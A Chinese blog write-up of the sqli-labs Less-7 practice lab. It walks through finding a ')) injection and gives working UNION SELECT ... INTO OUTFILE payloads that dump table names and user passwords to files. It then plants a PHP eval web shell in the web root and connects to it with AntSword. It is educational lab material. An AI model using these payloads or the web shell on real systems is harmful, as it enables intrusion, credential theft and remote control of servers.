【网络安全】sqli-labs Less-7 解题详析

​Sqli-labs靶场第7关详解[Sqli-labs-less-7] SQL注入的三个条件:①参数可控;(从参数输入就知道参数可控)②参数过滤不彻底导致恶意代码被执行;(需要在测试过程中判断)③参数带入数据库执行。(从网页功能能大致分析出是否与数据库进行交互)利用 order by 来测列数测显位:mysql用1,2,3,4Mysql获取相关数据:一、数据库版本-看是否认符合information_schema查询-version()二、数据库用户-看是否符合root型注入攻击-user() 阅读详情

into outfile

开始做题前,先了解一下什么是into outflie命令

INTO OUTFILE 命令是用于将查询结果写入到一个文件中的 MySQL 查询语句。它可以将查询结果保存为文本文件,供进一步处理或导出使用。

以下是 INTO OUTFILE 命令的基本语法:

SELECT column1, column2, ...
INTO OUTFILE 'filename'
FROM table_name
WHERE condition;
  • column1, column2, ...:要选择的列。
  • 'filename':指定要输出的文件路径和名称。注意,MySQL 服务器必须有写入该文件的权限,并且必须是绝对路径。
  • table_name:要查询的数据库表名。
  • WHERE condition:可选,用于筛选查询结果的条件。

例如,假设我们有一个名为 customers 的数据库表,其中包含 name 和 email 列。如果要将符合特定条件的数据输出到文件中,可以使用以下查询:

SELECT name, email
INTO OUTFILE '/qiu.txt'
FROM customers
WHERE age > 30;

这将把年龄大于 30 的客户的姓名和电子邮件输出到 /qiu.txt 文件中。

判断注入类型

在这里插入图片描述
单引号回显error

尝试双引号:

在这里插入图片描述

但输入?id=1" and 1=2 --+时仍正常回显:

在这里插入图片描述

说明不是单纯的单引号/双引号注入

常用的闭合符号

SQL语句原代码:
'$id'
"$id"
('$id')
("$id")
(('id'))
 
闭合代码:
1' #
1" #
1') #
") #
')) #

?id=1')) and 1=1 --+ 回显正常

在这里插入图片描述
?id=1')) and 1=2 --+ 回显错误

在这里插入图片描述

可判断注入语句为$sql="SELECT * FROM users WHERE id=(('$id'))";


判断注入点个数

GET1')) order by 3 --+,回显如下:

在这里插入图片描述

GET1')) order by 4 --+,回显如下:

在这里插入图片描述

故注入点为3个


查库名

联合查询(注入点为3)+into outfile

我们写入文件时,应选择数据库中有写入权限的目录

模板:?id=1')) union select (sql语句) into outfile '路径' --+

于是构造:

?id=1')) union select 1,2,database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\1.txt' --+

执行该语句后访问D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\目录,打开1.txt文件,得到导出的数据库名

注意:payload中目录的分隔符可以是\、//、/ 但不能是 \

在这里插入图片描述


查表名

Payload:

?id=1')) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\2.txt' --+

步骤同上:

在这里插入图片描述


查users表的列名

Payload:

?id=1')) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\3.txt' --+

步骤同上:

在这里插入图片描述


查字段

Payload:

?id=1')) union select 1,group_concat(username),group_concat(password) from users into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\4.txt' --+

获取账号及密码,步骤同上:

在这里插入图片描述


如果我们并不能直接从本机的目录上访问这些txt文件,该怎么办?

既然我们可以上传文件,同样地,也可以一句话连接蚁剑

模板:?id=1')) union select 1,2,'一句话木马' into outfile '路径\\a.php' --+(三个注入点)

Payload:

?id=1')) union select 1,2,'<?php eval($_POST[qiushuo]);?>' into outfile 'D:\\Software\\PHPStudy\\phpStudy_64\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\a.php' --+

在这里插入图片描述
然后删除非必要的代码

在这里插入图片描述
连接蚁剑:

在这里插入图片描述
访问txt文件:

在这里插入图片描述

SQL注入实战指南:sqli-labs全关卡通关详解与技巧总结 阅读详情

相关推荐

YOLOv5 改进点总览:轻量化、高精度的背后有哪些魔改?

YOLOv5是由Ultralytics团队开发的高效目标检测模型,其核心改进包括:主干网络采用CSPDarknet53提升梯度传播效率;特征融合使用PANet增强小目标识别;输出结构采用解耦头设计优化定位和分类任务。此外,YOLOv5通过CIoU损失函数、Mosaic数据增强和SimOTA标签分配机制进一步提升性能。模型支持多种推理格式(ONNX/TensorRT等),并具备自动锚框匹配和多尺度训练功能,使其在轻量化(yolov5s仅7MB)与高性能(最高51.2% mAP)间取得平衡,但缺乏正式论文支撑是

guoguozgw的博客 1806

sqli-labs-master 第七关详解

靶机环境:win10 phpstudy 2018 路径C:\phpStudy\PHPTutorial\WWW\sqli-labs-master\Less-7 首先,输入id参数,尝试寻找注入点 构造 ?id=1 显示正常 ?id=1' 显示异常 ?id=1')--+显示异常 ?id=1')) --+显示正常 由此判断源码闭合为 "((id')) 2.判断字段数量 ?id=1')) order by...

weixin_39464539的博客 1949

【项目实战-MATLAB】:基于机器学习的虹膜识别系统设计

虹膜识别主要包括虹膜定位、虹膜裁剪、极坐标变换、归一化、HOG特征提取、虹膜识别六个主要步骤。本系统采用MATLAB作为开发工具实现 主要算法:霍夫变换预处理 HOG特征提取 SVM进行识别

qq_45047246的博客 6537

sqli-labs-master第七关Less-7超详细360°无死角教程

不带参数请求页面:可以看到,页面让我们输入id,我们输入一个?id=1作为参数:可以看到给出了正常的数据。我们再输入一个不存在的id参数?id=999可以看到页面给出SQL语句语法错误。

hih30250的博客 2520

10xGenomics Loupe Browser实战指南:从数据导入到细胞注释全流程解析

本文提供了10xGenomics Loupe Browser的实战指南,详细解析了从数据导入到细胞注释的全流程。作为一款强大的可视化工具,Loupe Browser能帮助研究者直观探索单细胞测序数据,通过交互式操作进行细胞选择、差异基因分析和细胞类型注释,是单细胞数据分析入门和结果验证的高效平台。

blue42的博客 453

大模型-internvl高通qnn运行源码解读

模型链接:https://huggingface.co/OpenGVLab/InternVL2-2B论文官方简要说明 https://internvl.github.io/blog/2024-07-02-InternVL-2.0中文解读 https://zhuanlan.zhihu.com/p/702946079在线demo https://internvl.opengvlab.com/

点滴的岁月 1832

sqlilabs—less7

sqlilabs—less7

一个普普通通的博客 2997

DCDC电路断电时放电波形发生震荡和电压跳变问题,如何解决?

DCDC电路断电时放电波形发生震荡和电压跳变问题: 做的一个项目需要用单片机ADC采集电压,要让单片机感应到电压降到3.1V开始往FLASH里存数据,单片机2.4V基本上就工作不了,(根据单片机手册的,擦写的时间在40mS在左右)所以3.1V降到2.4V的时间必须要大于40mS岁以上,在单片机VCC处加了一个100nF的电容,理论仿真下来150mS左右发现存不进去,用示波器抓了一下波形,发现放电时震荡很严重,实际3.1V到2.4V时间只有10ms左右,这个肯定存不进去; 请教师傅说是应该时前级DCDC开关电

**My Coding Family** 1970

sqli-labs第七关sql注入流程

正常访问 http://127.0.0.1/sqli-labs-master/Less-7/?id=1 正常访问以后提示Use outfile..... 什么是outfile:参考地址 MySQL中你可以使用SELECT...INTO OUTFILE语句来简单的导出数据到文本文件上。 判断注入类型 http://127.0.0.1/sqli-labs-master/Less-7/?id=1' and '1'='1 通过注入字符没有报错可以判断是字符类型的,这关数据库报错不会提示

qq_33598708的博客 3918

Classic AUTOSAR精讲专栏目录

欢迎大家来到钢琴上的汽车软件创建的《Classic AUTOSAR精讲系列专栏》,期待在这里能够与大家一起进步,分享成功,分享喜悦!下面蓝色的文章标题都是传送门,点击直接跳转到对应文章。

酒无忧的博客 3911

OpenHarmony电源管理驱动架构剖析:HDI框架下的低功耗实现

鸿蒙电源管理驱动模块是OpenHarmony操作系统中负责设备电源状态管理的核心组件。该模块基于HDI(Hardware Device Interface)框架实现,提供了完整的电源管理功能,包括系统休眠/唤醒、运行锁管理、休眠模式控制等核心功能。public:// 主要接口函数// 运行锁管理private:// 内部辅助函数// 成员变量public:// 运行锁控制接口// 回调管理private:// 内部辅助函数。

m0_67505153的博客 209

Sqli-labs之Less-7

Less-7 GET - 导入文件- 字符串 分析数字型/字符型及单/双引号注入: 我们可以分别尝试将 ?id=1 ?id=1' ?id=1"添加到url中,进行测试,发现?id=1'报错,初步判断为字符型注入,经过测试后发现正常返回 You are in.... U...

→_→ 2028

基于SSD2828和STM32的MIPI显示屏驱动系统设计与实现

在硬件层面,需要将STM32、SSD2828和MIPI显示屏连接起来。STM32与SSD2828的连接:通过SPI接口连接STM32和SSD2828,用于配置和控制SSD2828。SSD2828与MIPI显示屏的连接:通过MIPI DSI接口连接SSD2828和MIPI显示屏,用于传输显示数据。

qq_38334677的博客 7146

【网络安全】sqli-labs Less-18 解题详析

这个语句是从 security.users 表中的 username 列中获取用户名,获取到的并不是全部的用户名,而是从第一个字符开始的长度为 32 的子字符串。这里先介绍一下mid()函数,mid()函数是一种字符串函数,用于提取给定字符串的子字符串。该题为基于GET及报错的User-Agent注入,故需在参数后构造POC。函数将从第 7 个字符开始提取长度为 5 的子字符串,结果为。,如果想要提取其中的子字符串。例如,假设有一个字符串。由回显可知,注入类型为。该题采用抓包进行处理。

等风来 4281

C# WinForm 基于DirectShow.dll编写的程序,可边预览边保存视频,音频和图片

基于微软的DirectShow.dll的二次开发1.自动识别连接的摄像头跟麦克风且可以对其进行选择(默认选中第一个)2.可录制wmv和avi两种格式的视频并且都带有音频,avi可以录制的分辨率和帧数进行选择,wmv默认进行了淸晰度优化如不喜欢可去除代码中有相关提示3.可在预览点开之后进行拍照,也可边录制视频边拍照4.添加了视频和音频的压缩功能(酌情使用)这次二次开发发现C#对DirectShow的相关信息太少,这次做完也不敢藏私共享出来,还望大家指正

霍尼韦尔SoftMaster使用说明

霍尼韦尔SoftMaster使用说明

【网络安全】sqli-labs Less-12 解题详析

通过测试可知注入类型为双引号+括号注入。通过回显可知,库名为security。通过回显可知,有以上四个表。尝试可知注入点个数为2。

等风来 4321

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

【网络安全】sqli-labs Less-8 解题详析

回显正常,故第一个列名的第一个字符为i。所以emails表的其中一个列名为id。同理得到数据库名称为security。同理得到第一个表名称为emails。回显正常,说明第一个字符为e。为3时回显正常,说明列数为3。回显正常,说明有四个表。得到第一个表名称长度为6。故该列第一个字段长度为1。获取该字段中的第一个字符。得到第一个列名长度为2。故数据库名称长度为7。同理:第二个字符为d。

等风来 4383

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

【网络安全】sqli-labs Less-14 解题详析

经测试可知注入类型为双引号注入。由上下图可知,注入点个数为2。数据库名为security。

等风来 4153

【网络安全】sqli-labs Less-13 解题详析

Less-13与Less-12类似,具体原理不再赘述。由上下两张图回显可知,注入点个数为2。可知注入类型为单引号+括号注入。

等风来 4129

sqli-labs靶场安装与使用指导教程(3种方法:通用版、php7版、Docker版)

SQLI-LABS是一款专注于SQL注入学习的开源靶场,提供从基础到高级的65个关卡,涵盖错误型注入、盲注、堆叠查询等多种注入类型,支持MySQL等多种数据库。本文讲解sqli-labs靶场的安装方法,包括源码法(普通版本和php7版本)和Docker法的完整安装方法。安装需配置Web服务和数据库,通过PHPStudy部署,修改数据库配置后即可使用。该靶场适合网络安全学习者系统掌握SQL注入技术,并可通过修改源码扩展新的场景。

mooyuan的网络安全博客 4359

sqli-labs-master[Less-1]解题过程

id=1 #1.显示正确信息 id=1' #2.显示错误信息 #You have an error in your SQL syntax; check the manual that #corresponds to your MariaDB server version for the right #syntax to use near ''1'' LIMIT 0,1' at line 1 #...

u010149713的博客 1049

sqli-labs 1(Less-1-Less-10)新手解题思路

sqli-labs 1(Less-1-Less-10)新手解题思路

weixin_47074981的博客 979

sqli-labs-master【Less-2】解题过程

id=1 #1.正常显示 id=1' #2.错误回显 #You have an error in your SQL syntax; check the manual that corresponds to your MariaDB #server version for the right syntax to use near '' LIMIT 0,1' at line 1 #'' LIMIT...

u010149713的博客 628

[网络安全]sqli-labs Less-25 解题详析

and用&&替换 or用||替换。编码,hex,urlencode。故以单引号为跳板实现报错注入。可以看到,单引号产生报错。本关过滤了or和and。

等风来 3631

2026最新sqli-labs靶场搭建教程,超详细

练 SQL 注入前,先把这三个问题弄明白,你就知道为什么要搭这个靶场,也能少走很多弯路。简单说,它是专门练SQL 注入的 “漏洞题库”—— 里面有 70 多关,每关对应一种 SQL 注入场景(比如数字型注入、字符型注入、盲注),还自带测试数据(比如用户表、密码表)。它不像真实网站那样藏着掖着,漏洞点很明确,新手能一步步试出 “怎么输入代码让数据库返回想要的数据”,不用怕操作错了搞坏真实数据。其实搭 SQLi-Labs 不难,主要就是两个坑:文件别放错目录,还有把改成。

zbywlaq的博客 3429

在CentOS7中搭建sqli-labs环境以及使用sqlmap对其进行sql注入

目录 安装docker 使用docker拉取sqli-labs的镜像 对我们使用到的sqlmap的参数解释 使用Kali中自带的sqlmap进行sql注入 安装docker 因为我们是使用docker去搭建sqli-labs,所以在CentOS7中搭建sqli-labs环境之前需要先安装docker(如果安装过,可以直接去执行安装完docker的后续步骤) 安装需要的软件包,yum-util 提供yum-config-manager实用程序,另外两个是devicemapper驱动依赖的,需要.

m0_53499553的博客 7722

sqli-labs靶场通关详解

SQLi-Labs 是一个专门为学习和练习 SQL注入 技术而设计的开源靶场平台

2502_93452092的博客 2007
上一篇: 【网络安全 | CTF】攻防世界 lottery 解题详析
下一篇: 【网络安全】sqli-labs Less-8 解题详析
秋说
秋说 优质创作者: 编程框架、信息安全技术领域 优质创作者: 编程框架、信息安全技术领域
博客等级 码龄4年 3万+粉丝 1906原创
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

秋说

感谢打赏

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值